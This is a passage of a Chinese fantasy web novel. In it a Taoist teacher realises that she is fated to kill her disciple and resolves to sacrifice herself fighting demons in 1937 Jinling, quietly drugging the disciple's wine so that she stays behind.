师尊,在你眼里,自始至终有过我的存在吗? 你看得到我吗?我也爱你啊。 相思剑的剑身凝满了冰雪,每一次舞动剑身林子里弥漫雪白的雾气,上空飘落几颗雪籽,初时零星,渐渐地越下越大,睁不开眼睛,漫天风雪里一个身影不断地将剑练了一遍又一遍。 突然间她跪倒在雪地里,长剑插在一边。 她整个人的身体向后倾倒,仰面躺在了雪地,雪化成水融进她的眼睛里,从眼角滑落。 …… 蓬莱观,书房。 穆若水走后,傅清微伸手扶住了一旁的书桌,稳住自己摇晃的身形,慢慢地坐进了椅子里。 她的两手撑着自己的额头。 屋外再也没有一丝响动。 一个人有两世记忆,一个人却只有一世记忆,对后者公平吗? 连傅清微都认为穆若水和姬湛雪是两个人,姬湛雪会认为自己和穆若水是同一个人吗? 她和师尊一样骄傲自负,她不会接受的。 傅清微早就知道。 是坦白,也是终结。 她不会再像从前一样爱她,她会退回到师徒的关系界限里,她的自尊不允许她当一个替代品。 傅清微的手按在自己的左边胸口。 可是为什么……她的心也在隐隐作痛? * 穆若水从密林结界里出来,看不出一点情绪的痕迹,她的目光在看到等在外面的修长身影顿住。 “师尊。” 傅清微嗯了声,温和平淡道:“天色不早了,该回家吃饭了。” 穆若水低头自嘲地勾了下唇角。 更可笑了,她刚刚竟然在幻想师尊能对她再解释一次。 比如书房的话是骗她的,或者她是她,别人是别人,她从来都没有弄混过。 可能吗? 她说了你信吗? 这些年你感受到的还不够多吗?她看着你出了多少次神,她会脱口叫出别人的名字,究竟要自取其辱到什么地步,你才能捡起碎在地上可怜的自尊,好好地当你的姬湛雪。 穆若水驻足良久,抬头问她道:“师尊下厨了?” 傅清微一手后背,沿着路往前走:“揉了面,切了面条,还没有下锅。为师对自己的厨艺心里有数。” 穆若水自然地跟上去走在她身旁,没有碰到她的衣角。 “待会我来。” “如此甚好。” 两人并肩往蓬莱观的方向走,一脉相承的宽袍广袖垂在身侧,被风拂动着,自作主张地牵在了一起。 穆若水低头瞧见,将衣袖捞起来攥在了手里。 晚饭吃了一顿丰盛的面条,穆若水在傅清微的房门口说晚安,傅清微就站在门后,回她:“晚安。” 穆若水的脚步远去。 傅清微不再往门锁上别头发丝。 ……没有必要了。 穆若水彻底退回了师徒界限里,每日晨昏定省地问安,平时也不会挂脸,偶尔会坐在房间里对着窗户出神,清清冷冷。 那日后的第二天,穆若水来到书房找她,只说了一句话:“师尊以后可以不把我当成她吗?” 傅清微回她:“好。” 说来也怪,穆若水出落得越来越像师尊,经此一事,连周身气质冷清,拒人千里的模样都像大师尊,傅清微弄混她们的次数却越来越少。 小雪就是小雪,她是独一无二的姬湛雪。 不是一段经历,更不该是谁的影子。 穆若水隔天又来:“师尊有几个徒儿?” 傅清微说:“只有你一个。” 穆若水:“我是唯一吗?” 傅清微:“你是。” 穆若水慢慢在她面前单膝蹲下,将脸伏在她的膝头,傅清微垂下眼帘,伸手温柔捋了捋她耳畔的发丝,就像姬湛雪儿时一样。 “小雪永远会是师尊的徒弟。” “为师知道。” 傅清微修长的手指从她脸颊到了下巴,和小猫一样地抚了抚。 穆若水也更深地将脸埋进她掌心。 她不动声色地长吸了一口气,从女人的膝边退开,站起来道:“我要去做饭了,师尊中午想吃什么?” “做个汤吧,其他都行。” “那我去啦。” 穆若水退到门口,顺手将书房门带上。 傅清微提笔半天,墨渍洇湿了一张纸,撤开了换一张,才记起落笔要写些什么。 …… 傅清微本以为这段感情会随着这件事而告终,穆若水白日的分寸也掌握得极好,连眼神都不曾贪婪一星半点。 然而有一回傅清微夜难成寐,不知不觉来到穆若水的房门口,又听见那种令人遐思的动静。 今夜无月,光线黑暗。 傅清微站在窗户前,缝隙里只能看到床上隐约的窈窕身影,闷声的低吟从她口中不断传出来。 傅清微侧身在窗边的墙壁,听完了全部的过程,包括她在结束后漫长的沉默,再起身清理。 她还是喜欢她,只是学会了隐藏爱意。 1936年的除夕,是穆若水长大以来过得最像大人的一个除夕夜。 收了兔子灯,吃了年夜饭,傅清微摆好了竹椅和桌几,温上一壶酒,两只酒杯,招呼穆若水一起。 穆若水坐在她的旁边,看着她给自己倒酒,受宠若惊:“师尊,我真的能喝吗?” 傅清微说:“你是大人了,可以喝。” 大人的烦恼,允许这一天忘掉。 穆若水端起酒杯:“可是我酒量不好。”上次喝完酒还做梦来着。 “你喝慢一点,醉了我会扶你回房。” 穆若水一饮而尽。 “……”傅清微说,“再这样你别喝了。” “只是试一试。” 穆若水惊讶地说:“好像没有以前苦了。” 傅清微心道:那是因为你心里有很多苦。 院子里孤独饮酒的人变成了两个。 穆若水果然喝醉了,喝得比上回多,醉得不省人事。傅清微刚把她扶起来,她就像一滩泥一样瘫下去,手脚没有一处听使唤的。 傅清微无法,只好将她打横抱了起来,送回了卧室。 替她脱了鞋子和外袍,热毛巾擦拭双手和脖颈,托起后颈舒适地枕在枕头上。 做好这一切后,微微出汗的傅清微给穆若水掖好被子,转身向外走。 “师尊……”床上传来呢喃声,熟睡的年轻女人黛眉微蹙,眼尾湿润。 傅清微面向床的方向,良久,轻轻带上了房门。 傅清微和穆若水喝得差不多多,但她酒量已经练了出来,寻常喝不醉,犹记得她第一次喝酒时,灌得猛了几杯下去头晕眼花,连忙撑着自己的意志回到了房间。 醒过来时身上的衣服不翼而飞,都被她扔到了床头,记忆还有些片段,她喝醉了把返魂香的盒子打开,闻着师尊的味道自己弄自己,因为不清醒,还以为是师尊,搞得很激烈。 幸好那时她已经和穆若水分房睡了。 否则让孩子瞧见,后果不堪设想。 以后傅清微就很少喝醉了,控制着自己在醉酒的边缘,至少能保有大部分理智。 四十岁的傅清微揉了揉自己酸疼的眉心,虽然酒量好了,但是身体没有以前好了,喝多了就头疼。 院子里的冷酒先这样晾着,明日再收拾吧。 傅清微回了房间,脱鞋躺下,缓缓地闭上了眼睛。 第二日醒来,院子里已被穆若水收干净了,早餐也准备好了,还有一杯醒酒汤。 * 时间步入1937,穆若水二十三岁,傅清微的时间越发紧迫。 鬼市开门,三才舫的管事答复依旧:没有人打听那些材料。 唯一的库存也都被傅清微买走了。 欠缺的两种罕见材料,三才舫收到了一种,还没捂热乎就被姬观主捞进了蓬莱。 傅清微:“这些材料有没有别的渠道可以收集到?” 管事自信道:“非天机……三才舫自夸,别的地方可能有一样两样,但三才舫一定是最全的。” 他心说:观主您不就快收集齐了吗? 傅清微:“或者它们有没有下位替代品?” 管事:“姬观主,不才只是负责买卖,于阵法一道一窍不通,观主通晓奇门五行,造诣精深,您肯定比我懂的多。” 傅清微掐了掐自己宽袖里的指节,面具后的眼神因为突然的慌乱似乎有些对不上焦距。 “有劳管事。” “观主慢走,穆道友再见。”管事依旧亲自送她们下船。 两人并肩从鬼市匆匆往外走。 “师尊,你怎么了?”穆若水跟着她的脚步,感觉她在追赶什么似的,焦躁万分。 “没事。” 傅清微突然停了下来,站定深呼吸,道:“你有什么想逛的吗?为师陪你逛逛。” 穆若水担心她,哪有心思逛街。 她摇了摇头,说:“没有,下次再来吧。” 傅清微却改口说:“我们逛逛吧。买点小吃,你不是喜欢吃零食吗?” “那都是小时候的事了。” “就当我想吃。” 她们没有几个下次了。 穆若水被塞了满怀的吃食,就像她们当年第一次来到锦城,逛过的那条街。 翌日二人回到了蓬莱观。 傅清微在书房闭门不出,只有吃饭时叫得动人,书桌散乱着揉皱的纸张,穆若水都没看清是什么,便被傅清微付之一炬。 “我想到了!” 穆若水立刻推开书房门:“师尊想到什么了?” 傅清微将桌上的纸盖住,说:“没什么。” 她想到最后缺的一样阵法材料可以用什么替代了。 炼尸阵法古老,单说返魂香和辟寒犀就在现代失传,麻天德不可能凑齐那么多材料,但他仍然炼出了小女孩僵尸,意味着炼尸阵法是可以改良的,未必要这么多,可能只需要凑齐一两样,其他的都有替代。 如果是这样,材料这条线索就没有价值了,收集一两样并不难,谁都有可能。 究竟是谁炼了她? 穆若水:“吃饭了师尊。” 傅清微:“又要吃饭了。” 三顿一天,三顿又三顿,一天又一天地就过去了。 “师尊嫌我做的饭不好吃了?” “哪能?为师吃一辈子都不会腻。”傅清微将图纸拂到地上,随手扔了道符火,一把火烧成灰烬。 她注视着一地黑灰皱了皱眉。 “师尊?” “嗯,来了。” 穆若水等她走出来后,伸手带上了门。 今年她们没有出远门,一直待在蓬莱观的山上,傅清微有意将余下所有时日都用来陪伴她。 菜园子种的菜又熟了一茬,傅清微摘了些辣椒回去,趁着天气好晒一晒,一进院门,便闻见一股浓重的血腥味。 仿佛是一个人全身的血都流出来那样浓烈。 穆若水不见影踪。 “小雪?小雪!” 傅清微一扇房门一扇房门地重重推开,只闻见血气见不到人影。 “小雪!” 傅清微大声呼喊着,孤身站在空荡荡的庭院里,前所未有的心慌。 长久以来炼尸的恐惧笼罩了她。 “姬湛雪,你在哪里——” 傅清微朝充满雾气的大门口跑了过去,身后却传来一声虚弱的:“师尊……” 外面的雾气涌进门里,傅清微几乎看不清面前的路,地面有一道拖行的血迹,满满的都是鲜血。 傅清微沿着这条血路往前走,姬湛雪靠坐在道观的廊柱下,胸口深深插着一把匕首,只余下匕柄,流出来的血染红了她的全身。 “小雪!” 傅清微扑了上去,捧起她满是血污的脸泪雨滂沱:“不要,我不要……” “师尊……”姬湛雪吃力地抬起手,傅清微连忙捞住她的右手紧紧握住。 “你不会死的,你不要怕,我会救你的。” “可是,师尊……” 姬湛雪低下头,流出两行清泪,冲刷着脸上的血污。 傅清微顺着她的视线往下,露在外面的匕首正被自己两只手紧紧握着,她的手上满是血腥。 姬湛雪望着她泪流满面,眼神悲伤。 杀了我的就是你啊,师尊。 傅清微松开双手,手里沾满鲜血的匕首当啷落地。 …… “不要——” 惊惧的声音回荡在卧室,傅清微的脚用力蹬了一下,从睡梦中蓦地醒来。 她浑身盗汗,心脏在惊悸中狂跳不止,手脚冰凉。 连着心脏的那些经络相继跟着抽动,带来疼痛,傅清微侧身按住自己的胸腔,好一会儿才撑着床沿慢慢坐了起来。 她转了转脑袋,撑起的窗户外面,是月光撒落的庭院,静谧祥和。 从现代到异世,她曾无数次看过蓬莱观的后院。 因为傅清微的复刻,它们之间除了新旧外表毫无区别,只除了一样。 傅清微等心脏的隐痛好了后,起身披上外袍,踱步走入了庭院,来到了中央的那块地。 ——这里少了一副棺材。 现代的蓬莱观里是有一副石棺的,傅清微在棺材里遇到她,穆若水也是躺在那副石棺里被炼尸的。 傅清微的手落到腰部往下的高度,抚着后世棺材的位置,从前到后,仿佛感受到了那股刺骨的寒意。 那么究竟是何方人士炼尸,会把阵法设在蓬莱观的后院里? 蓬莱观不仅有主,而且有结界,只有她和穆若水可以打开。 穆若水对阵法一窍不通,采用排除法,只剩下一个人。 即使有人能闯入结界,那剩下的那个人也不会坐视对方在蓬莱将她的爱徒炼成僵尸。 且不说蓬莱与人为善,从未结下仇家。穆若水天资聪颖,修行界少有敌手,谁会和她有深仇大恨,特意千里迢迢抓她炼尸呢?对方又怎么肯定她能坚持熬过炼尸的痛苦,成为天下第一的尸仆呢? 现在有一个人,她收集到了几乎所有炼尸的材料,欠缺的一种她也找到了替代,她精通阵法,她的徒儿对她死心塌地,即便让她走进棺材里,她也心甘情愿。 天时地利人和,这个人全都占了。 她非常想要见到自己的妻子,但是姬湛雪不死,她的妻子就不会存在。 雪和水不能共存,她只能选择一个。 所以她最终选择了妻子,杀掉了一直陪伴她的徒儿。 傅清微的手在空气里摩挲虚无的棺材,眼神定定地落在虚空。 没关系,如果这些还不够的话,还有其他证据。 记忆如同潮水从深处涌来。 穆若水醒后只对她亲近,只接受她身上的气息,渴望她的鲜血,只有她的血能压制她体内的红线。 这一切是为什么? 谜底早就提前公布了。 傅清微的潜意识一直拒绝去深思炼尸的事,任由时光一日一日地推移,抱着微弱的希望,祈求凶手另有他人。 她可以“顺其自然”,她会竭尽全力去阻止它发生,也可以为自己终究无法阻止历史找到借口,这样就不用去背负炼尸的罪行。 不用……让姬湛雪死在她手里。 如今事情摆在眼前,潜意识山呼海啸,一股脑地都塞进她信息爆炸的脑子里。 没有别人,自始至终都是她自己。 月凉如水的院落里,女人慢慢地走到了屋檐下面,背靠着廊柱脱力地滑坐下来。 傅清微双手盖住自己的脸,晶莹的泪水从指缝间溢了出来。 怎么会是她呢? 我怎么能为了未来的你,而亲手杀掉今生还活着的你呢? 第155章 不久以后的将来, 她会因为某个原因杀了姬湛雪,把她炼成僵尸。 会是因为什么?相思成魔吗? 不杀了姬湛雪,就见不到师尊。师尊不存在了, 何异于她亲手扼杀了穆若水。 可她怎么忍心杀掉和她相守了近二十年的姬湛雪呢? 在她心目中, 姬湛雪的分量并不比师尊轻半分, 她怎么能为了师尊而杀她? 历史已经在前方虎视眈眈,随着时间的临近, 她总会做出选择的, 或主动,或被迫, 选了穆若水。 这是她的宿命, 也是小雪的宿命。 傅清微放下自己盖住脸颊的两手,风吹过一片冰凉。 她木然地在檐下坐了半夜,抬头望向对面安静的房间, 姬湛雪早已入睡。 她知道她的人生只余下短短的不到一年吗? 她知道自己将来会死在自己手里吗? 你会不会恨我?小雪? …… “师尊?师尊?” 穆若水隔天做好早饭在房门口敲门, 里面却迟迟未传来回应。 “师尊,你醒了吗?” 叩叩叩—— 穆若水来到窗前,更靠近床, 敲她的窗户。 “师尊?” 傅清微从昏沉中醒转,迷迷蒙蒙地拖着灌铅的双腿打开了房门,又躺回了床上。 穆若水坐在床沿伸手探她的额头,担忧地说:“师尊, 你发烧了。” 傅清微整个人埋进被子里,发丝有些出汗的潮气, 脸色苍白。 “可能着凉了。” 穆若水将她挖出来一点, 打开她的齿关,望闻问完, 握着她纤细的手腕给她诊脉,脉象虚浮,确有不逮。 傅清微的手被她掖进被子里,四个被角都严严实实压好,穆若水的脚步出去了。 傅清微意识迷离,半梦半醒地不知睡了多久,感觉她被扶起来靠在了一个柔软的怀抱里。 苦涩的汤药一勺勺喂进她的嘴里。 傅清微眼皮沉重地闭着眼,唇角却微微弯起来。 “我的小雪长大了。” 小时候喂药连一只手都端不稳药碗,要放在床沿,现在都可以抱着她了。 “小雪只愿师尊身体健康,快些好起来。” 傅清微极少生病,偶有头疼咳嗽,因为修道日久,表现的症状亦十分轻微,连喝药的机会都少。 上一次她病得起不来床,还是姬湛雪四岁那年,她们被困城中,姬湛雪将自己换了四块银元。 傅清微喝完药就睡下了,自始至终未睁眼。 她脸颊和脖颈都是汗,穆若水摸她的四肢又十分冰冷,忽冷忽热,嘴皮也被烧得干燥。 穆若水给她喂了水,脱掉自己的外衫,钻进被子里抱着她。 傅清微感到身周温暖的热源,自发地朝她贴紧,高温灼热的气息呼在年轻女人的颈窝里。 穆若水没有半分邪念,下巴抵着她的发顶,左手在女人后背轻轻拍着。 “师尊……”怀里的女人呢喃出一声呓语。 穆若水细微地僵住身子,仰起脸望着床边的墙壁,舌根发苦。 “小雪……”傅清微意识混沌,又轻轻唤了一声。 穆若水的身体瞬间柔软下来,低头看向女人蹙起的蛾眉,指腹慢慢将其温柔抚平。 她凑近在女人眉心落下一个轻轻的吻。 傅清微睡梦中不安交替唤着两个名字,在温热的怀抱里出了一身汗,终于不再做梦,沉沉睡去。 她一觉睡得极久,一个白天又一个黑夜过后,依旧在熟悉的气息中醒来。 姬湛雪身上没有返魂香,是山林的气息,露水、青草和树木的清香,淡而怡人。 傅清微长睫微颤,窗外的阳光映在了她的睫毛上,她在一片亮光中睁开眼,面前是熟睡的姬湛雪。 明明是一模一样的五官,睡着了毫无区别,她却一眼辨认出是姬湛雪。 或许她潜意识已经接受回不去现代的事实。 二十年太久了,久到她将姬湛雪从小看到大,直到她一生的尽头。 傅清微伸出指尖隔空描摹着年轻女人的五官,身子往里滑了滑,耳朵贴在姬湛雪的胸口位置。 噗通—— 噗通—— 沉稳有力的心跳,是一个人鲜活存在的证明。 她从未听到过师尊的心跳,但这一颗会跳的心,也是她永远沉寂的那一颗。 穆若水醒了。 在她用目光注视她的那一刻就醒了,傅清微也知道她醒了,可她没有戳破。 两人在晨光铺满的床上安静地拥抱。 直到傅清微忍不住肺部的反应,咳嗽了一声。 穆若水睁眼下床,行云流水一气呵成,解释说:“徒儿只是见师尊病体虚弱,梦中呼冷,所以帮师尊暖暖身子。” “无妨。” “师尊好些了吗?”后半夜烧就退了,穆若水又探了遍她的额头,温度正常。 “也许。” 傅清微说:“我饿了。” “我去做饭。” “煮些清粥便好。”傅清微胃口不好,不太能吃得下。 穆若水做了清粥小菜,还有菜包子,给她端进屋内,傅清微饮食清淡,细嚼慢咽,穆若水坐在旁边陪她一起吃早饭。 她看得出师尊有几次都在强咽,女人终于搁下了筷子。 令穆若水联想起不好的回忆,生怕她会吐出来。 好在没有。 穆若水:“师尊怎么会突然着凉?” 时节步入盛夏,山里虽温度不高,夜里披一件外衫也够了,师尊身体惯来强健,不可能无缘无故感染风寒。 傅清微淡道:“为师年纪大了。” 穆若水:“……” 年长的人喜欢将年纪挂在嘴上,穆若水不知何时却不爱听这句话了。许是心里明白师尊比她大十七岁,她们的生命阶段不可能完全同步。 没有留下照片,她已经不记得师尊二十岁的样子了,好像一开始就是她现在看到的模样。 年长者看年下却不一样,傅清微记得她每一段成长,她从自己腰高的小不点慢慢地长成了大人,再蜕变成女人。 她也知道穆若水的软肋。 傅清微一句话把穆若水的旁敲侧击堵了回去,唯有沉默。 …… 傅清微卧床休养了三天,开始在院子里正常走动。 她身子还是有些不爽利,不时拳头抵着嘴唇咳嗽几声,靠在廊柱,弱不胜衣。 穆若水拿着外袍出来给她多裹了一层,要扶她回房休息,傅清微却不肯,执意在外面待着。 她在一个地方也不多待,书房、院落、树林,经常性地换地方出神。 穆若水敏锐地发现师尊身上少了什么,经过她的不断观察,是失去了对生活的兴趣。 好像目睹一株枝繁叶茂的大树在她眼前慢慢凋零,逐渐丧失生机和活力。 她的叶子在一片一片地凋落。 穆若水变着法地给她做好吃的,傅清微很给面子地吃了很多,可勉强和真的喜欢是有区别的。穆若水怕她和从前一样,压着她的手腕阻止她多吃。 她下厨的时候傅清微会进来看她,牢记不碰灶台的原则,只在旁边瞧着。 穆若水炒菜被锅里滚烫的热油溅到了手背,她嘶了一声,立马握着锅铲退远了一些。 傅清微上前问她:“疼么?” 穆若水习惯了,但师尊问她,她肯定要顺势撒个娇:“疼。” 穆若水不是很娇,这一句疼也没有细声细气。 傅清微却双手捧起她的手背,轻轻对着她被烫伤的地方吹气。 穆若水不着痕迹换到左手炒菜。 傅清微取来冰凉药膏,给她那片微红的肌肤涂抹上药。 她的小雪,连一滴热油溅上去都会疼,她怎么忍受得了炼尸的焚魂之痛呢? 穆若水为她的大费周章感到震惊,继而手背一热。 “师尊,你……怎么哭了?” “没事。”傅清微擦了擦湿润的眼角,眼泪却掉得更凶。 她这段时日常常无端落泪,见山见水,见花见树,尽觉悲伤。 穆若水连忙将锅里的菜盛起来,丢下锅铲来抱她,傅清微的泪水没有止住,全都流在了她的脖子里。 穆若水拥着她在自己怀里,喉头动了动,艰涩道:“师尊可是又想起师娘了么?悲痛伤身,徒儿恳请师尊保重身体。” 傅清微哽咽说:“不是。” 不是? 穆若水诧异,那她在哭什么? 自从两月前她感染风寒,即便痊愈,她身体的状态也大不如前,更别提这些异样的表现。 那天晚上发生了什么吗? 穆若水皱眉。 “师尊,你是不是有什么心事?现下就你我二人相依为命,你要不要试着告诉我?”饭后,穆若水将她扶到院子里坐下,自己半蹲在她身前。 “为师没事。”傅清微伸手摸上她的脸,指尖来回抚摸她优越的眉骨,目不转睛地望进她幽黑的眼睛。 “……” 还说没事?她都好久不这么看她了。 穆若水和她对视久了,目光不自觉往下滑,落在女人血色浅淡的薄唇。 穆若水连忙偏开视线去看屋檐下的小三花。 闪闪一只老猫,精力不济,成日睡觉。 穆若水心跳调节得差不多,转回来重新看向傅清微,傅清微目光轻柔道:“小雪,坐到我身边来。” 穆若水立刻去搬椅子,和她并肩坐着,本来隔了空间,在傅清微的要求下挨着。 肩膀贴着肩膀,穆若水僵着身子,一万次在心里说放松。 她肩侧微微一沉,傅清微将脑袋枕了上来。 穆若水放弃治疗,任由自己的血液上涌到心脏,脸颊和天灵盖。 秋意渐染的山林里绕进来一阵风,拂过二人的衣袍襟带,及腰墨发纠葛在一起,就像她们刻入彼此命格分不开的命运。 傅清微靠在穆若水的肩膀微微仰头。 一片红到极致的叶子从道观上方缓缓飘落,落在她的手背。 像极了鲜血的红颜色。 历史的车轮声势浩大滚滚碾过来,她不接受这既定的命运。 她要改变姬湛雪被炼尸的结局。 既然宿命注定她一定会在不久以后会将姬湛雪炼成僵尸,凶手只有她一人。 如果她死了,就不会有人炼尸,姬湛雪就能活下来了。 在异世二十年,虽然心心念念了这么久,依旧没能见到师尊,但是能陪伴姬湛雪长大,让她有一个安定的人生,她已经心满意足了。 那日阵破她本应该与饕餮共同消散,和姬湛雪在一起的二十年,算是她偷来的二十年。 如果她的一条命,可以换回姬湛雪的生路,她心甘情愿。 秋风卷起地上的落叶,卷向道观墙外高远的长空。 穆若水的手伸过来,牵住了师尊的手。 傅清微在她肩头不知不觉地睡着了,眉目舒展。 那些光怪陆离的噩梦终于不再纠缠着她,她不会再梦到姬湛雪以各种方式死在她手中,她在棺材里撕心裂肺的惨叫声,她对自己流不尽的眼泪。 她不接受这命运。 她要用自己的死,换她的活。 * 这一年,发生了很多历史上不能忘记的事件。 1937年7月底,北平沦陷,天机阁总部南迁。 12月,几十万手无寸铁的同胞惨遭屠戮,举国震惊。 同年,轰轰烈烈“道士下山”。 地底通道彻底打开,魔族降临人间,众多玄门宫观山门开启,修行者入世除魔。 咕咕—— 一只雪白信鸽落在蓬莱观的宫墙上,它的羽毛和落满薄雪的院墙相似,穆若水看了好几眼确认,才飞身上去一把将它抓下来,取出竹管里卷起来的信。 “师尊,天机阁来信。”穆若水双手送到傅清微面前。 傅清微一身厚厚的斗篷站在院子里,伸手接过展开,几乎没有经过犹豫,便道:“我要下山。” “去哪?” “金陵。” 穆若水面色陡变,连忙看天机阁的信,字少事大,金陵城三十万同胞遇难,血气冲天,一条地底通道直接开在了城内,爬出来数不清的魔物如今在城中厮杀养蛊,待它们养蛊结束,最终诞生的大魔头出世,必将生灵涂炭。 不仅如此,城中几十万亡魂会成为魔头的养料,永无超生的机会。 天机阁飞信急召各界修行者,赶赴金陵,诛杀魔头,超度亡灵。 因城中魔族非寻常修行者能对付,去也是送死。天机阁只传信给了道行高深的修者,即便如此,此行九死一生,若情势有变,怕是十死无回。 短短几行字,天机阁言明极度凶险,并不强求。 “师尊!”穆若水握住了傅清微消瘦的手腕,指节硌人的触感令她一讶,旋即道,“你真的要去金陵吗?” 傅清微点头。 她要用这副残躯,去最后做一件有意义的事。 穆若水飞快道:“那我去收拾行李。” 傅清微看着她迅速消失在门后的背影,阻止的话咽了回去。 她肯定是要跟着自己的,让她留下来也是白费口舌。 傅清微站在雪地里的树下,睫毛覆上一层薄雪,她仰起脸,雪花轻盈地被风卷着荡着。 那年蓬莱没有下雪,她还没有和师尊一起看过雪呢。 此生应该都不会再有机会了。 但在师尊的记忆深处,自己已经与她看过无数次风雷雨雪了,只是她忘了。 今生来世,何必执着? 她活着才是最重要的。 傅清微终于笑起来。 傅清微回房和穆若水一起收拾行李,穆若水惊讶地发现师尊常年苍白的脸竟然泛起了几丝红润的血色,病体残躯仿佛注入了新的力量,树叶重新焕发生机。 难道原先是在山上憋久了才生病的吗?不太对劲。 穆若水升起一种怪异的感觉。 傅清微用信鸽回了天机阁,内容只有一个字:去。 当天天机阁便送来特别通行证,二人下山畅通无阻,直奔金陵。 路途颠簸,傅清微的身子反常地一日一日好起来,容光焕发,连精神也振奋了不少,令穆若水想起了一个不祥的词:回光返照。 当然她有意隐藏这些,怕穆若水察觉端倪,尤其是她的真实意图。 但穆若水太了解她了,即使她克制万分,穆若水也能从她的眼神看出变化。 师尊太奇怪了。 她们又不是去旅行,是去危险的金陵。 以前下山除魔的时候她虽然也未流露出惧怕,但不至于有种……隐隐的期待感? 穆若水不确定是不是自己的错觉。 十二日后,二人抵达金陵附近。 天机阁包下了一家大客栈,供所有赶来的修行者下榻。自愿前来的修者比预想中的多,客栈里挤挤挨挨的都是人,僧道散修,穿着各异。 傅、穆二人从未一次性见过这么多修者,竟然还有妖修,大大地增长见识。 想到后世灵管局有妖修,现在的天机阁有妖修也就不奇怪了。 “姬观主,穆道长。这是你们的房间。”因为来得晚,房量紧张,二人被迫住在了同一间房。 国难当头,傅清微自然不在意这种小节。 穆若水也没心思占师尊便宜。 她们俩在客栈待了两日,陆续有人被劝说离开。金陵城中魔物互相吞噬,天机阁根据检测到的魔气浓度,逐步抬高当日进城的门槛。 修者除魔虽不畏死,但没必要无辜丧命。 拥挤的客栈里只余下了百来人,无不是当今修行界的佼佼者。 天机阁的人找上了穆若水。 穆若水:“?” 她清冷少言的性格也不由发出疑问:“我实力不够?” 天机阁:“穆道友误解了,道友剑术精绝,数一数二,自然能够跻身其中。只是……” “只是什么?” “蓬莱观只有姬观主和穆道友师徒二人,城内凶险万分,若是……”对方抿了抿唇,低声说,“蓬莱就没人了。” “既然如此,我更该和师尊同生共死。” 天机阁的人劝不来,无奈说:“我去请姬观主。” 姬观主傅清微进门坐在穆若水身边,问:“怎么啦?” 天机阁表达了她们的意思,希望傅清微劝劝穆若水。 年轻人冲动热血,不明白保存有生力量才是最重要的,她还年轻,蓬莱还仰望她发扬光大呢。 师徒都死在金陵,天机阁将来有何颜面面对蓬莱这两个字。 傅清微伸手摸了摸穆若水的脑袋,柔声说:“我这徒儿生性固执,你就遂了她的意吧。” 天机阁:“……” 合着自己才是棒打鸳鸯的那个人是吧? 天机阁:“我先告辞了,姬观主。” 傅清微牵着穆若水的手回到房间,穆若水顺手关上房门,傅清微坐在桌旁倒茶。 穆若水藏好眼神里的探究,问道:“师尊为何不劝我?” 傅清微叹了口气:“我正要劝你。” “什么?” “你不要进城。”傅清微神情严肃。 “为什么?” “城中局势复杂,瞬息万变,我怕照应不了你。” “我已经长大了,不需要师尊照应。”穆若水观察着她的神色,说,“倒是师尊,身子还未大好,不如留在客栈等我。” “不行。” “为什么?” “我是一观之主,理应以身作则。” 说完两个人都沉默了。 傅清微不适合说这种场面话,她也不会在穆若水面前撒谎,一戳就穿。 怎么办? 穆若水适时开口道:“师尊不必劝了,我意已决。” 傅清微只好作罢,在心里松了一口气。 她知道穆若水不会听她的,劝她只是走个形式,她已想好了别的法子阻止她。 金陵城上方魔气冲天,连悬着的白月亮都染上不详的红光。 城内的吞噬到了白热化的阶段。 客栈里来了一些人,原先的人又被劝退部分,魔气在增强,留下的人无一不是精深道行,看得见外化的魔气,所有人都忧心忡忡。 再这样下去,恐怕她们的命都填进去,都未必能阻止出世的魔头。 然而此时进城,魔物尚未吞噬完,到时集体对付她们,也难逃一死。 “不能再等了。”一人道,“即使城中魔物千万,我等何惧舍身一搏!” “对!”客栈众人齐齐响应。 傅清微坐在窗边的座位,望着天边的血月,面色沉凝。 的确不能再等了。 这魔头恐怕不弱于后世的“折枝”,等它完全吞噬完,金陵城的城门和在座所有修士都拦不住它。 天机阁的人和修士们在客栈紧急开会,一致通过尽快进城。 此次领头进城的亦是天机阁的重要人物,地位相当于后世的副局长,她布置好了进城线路后,站在中间沉声道:“……愿我等都有必胜的勇气,和赴死的决心。” “誓死诛杀魔族!” 在场众人无不神色坚决。 既然义无反顾来到金陵城下,早将生死置之度外。 进城时间定在明日一早。 散会的时候已是下午,客栈备好了晚饭,众人用过饭后大部分都回房睡觉养精蓄锐,少部分在屋外,久久地伫立,最后看一眼人间。 傅清微问客栈要了一壶酒,两只酒杯,和穆若水对坐而饮。 穆若水看着她给自己斟了酒,道:“师尊,我有点害怕。” “害怕什么?” “不知道,有点心慌。” “明日过后,我们会死吗?” “你怕死吗?” “不怕,我只怕不能活着见到你。” 傅清微握着酒壶的手一顿,道:“不会的,你活着我就活着。” 我会一直在你的记忆里。 “师尊……”穆若水好像回到了儿时,站起来无助地向她祈求怀抱,傅清微只好放下酒壶,伸手来抱她。 穆若水已经是个大人了,傅清微坐着根本抱不好她,除非让她坐自己腿上。 两人都站了起来,在窗前拥抱着。 穆若水的脸面向桌子的方向,视线扫过桌上的两只酒杯。 傅清微抬起一只手,轻轻地抚着年轻女人背后冰凉的长发,另一只手无法控制地收紧。 小雪。 我的小雪。 穆若水感受着腰肢传来的力量,将脸埋入女人的肩窝,也紧紧地回抱住她。 分开时二人都尽力掩藏眼底的水光,神色无异后朝对方一笑。 穆若水端起了自己的酒杯,说:“师尊,我敬你一杯,祝我们都能活着归来。” 傅清微和她碰了一下杯,慢慢将杯中酒喝了。 她说:“会的。” 穆若水仰头一饮而尽,很快感受到了头晕,她手扶着桌子边缘晃了晃脑袋。 “师尊,我……” 她面前的女人出现了重影。 傅清微没想到药效这么快,她扶住了穆若水软倒下来的身子,将她抱到了床里,褪去外衣给她盖好被子。 她的指尖眷恋掠过年轻女人的精致眉眼。 傅清微起身关好窗户回来,揉了揉太阳穴,奇怪,自己怎么今日一杯酒就头疼? 难道真是年纪大了? 傅清微坐到了床沿,抵挡不住突如其来的困意,勉强支撑着自己在穆若水身边躺下,意识陷入黑沉的深海。 * 天明时分。 一道修长人影从床榻起身,取过架子上挂着的青袍广袖,拿起桌上横放的相思剑,身影走到门口停顿,又折返回来。 她在床前坐下来,目光不舍一寸寸地描摹对方的五官,从阖着的温顺眉眼,秀挺的鼻尖,到色泽浅淡的薄唇。 她俯下身慢慢凑近对方的红唇,闭上眼睛。 暖热的气息呼在她的唇瓣,隔着两三公分的距离,她停了下来。 她二指贴在对方淡色的唇,良久,点在了自己的唇瓣。 她打开房门,大步离开了客栈,再不回头。 金陵城的四座城门,各自有一批修士集结汇合,她去了昨日所排布的南城门。 时间刚刚好,快要进城了,正在清点队伍。 